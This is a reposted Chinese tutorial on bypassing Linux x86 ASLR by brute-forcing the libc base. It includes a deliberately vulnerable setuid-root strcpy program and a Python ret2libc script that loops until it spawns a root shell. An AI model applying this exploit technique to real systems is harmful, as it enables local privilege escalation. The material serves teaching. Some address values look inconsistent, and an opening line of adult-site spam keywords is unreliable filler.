日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分

發布時間:2024/4/14 linux 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

(1)原理:

  使用爆破技巧,來繞過共享庫地址隨機化。爆破:攻擊者選擇特定的 Libc 基址,并持續攻擊程序直到成功。這個技巧是用于繞過 ASLR 的最簡單的技巧。

(2)漏洞代碼

//vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) {char buf[256];strcpy(buf,argv[1]);printf("%s\n",buf);fflush(stdout);return 0; }

?編譯

echo 2 > /proc/sys/kernel/randomize_va_space gcc -fno-stack-protector -g -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod +s vuln

?

(3)當隨機化打開時不同的 Libc 基址

上面展示了,Libc 隨機化僅限于 8 位。因此我們可以在最多 256 次嘗試內,得到 root shell。

(4)攻擊代碼

#exp.py #!/usr/bin/env python import struct from subprocess import call libc_base_addr = 0x161dd8 #隨便選擇一個基址即可 exit_off = 0x001a615c system_off = 0x0003f430 binsh_off=0x161dd8 system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off binsh_arg = binsh_off+libc_base_addr #endianess convertion def conv(num):return struct.pack("<I",num) buf = "A" * 268 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(binsh_arg) bufl="" print "Calling vulnerable program" #Multiple tries until we get lucky i = 0 while (i < 256):print "Number of tries: %d" %ii += 1ret = call(["./vuln", buf])if (not ret):breakelse:print "Exploit failed"

?獲得system和exit偏移地址:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

(5)從網站https://libc.blukat.me/獲得/bin/sh偏移地址

(6)執行程序 $python exp.py,獲得root shell。

?

轉載于:https://www.cnblogs.com/momoli/p/10834187.html

總結

以上是生活随笔為你收集整理的Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。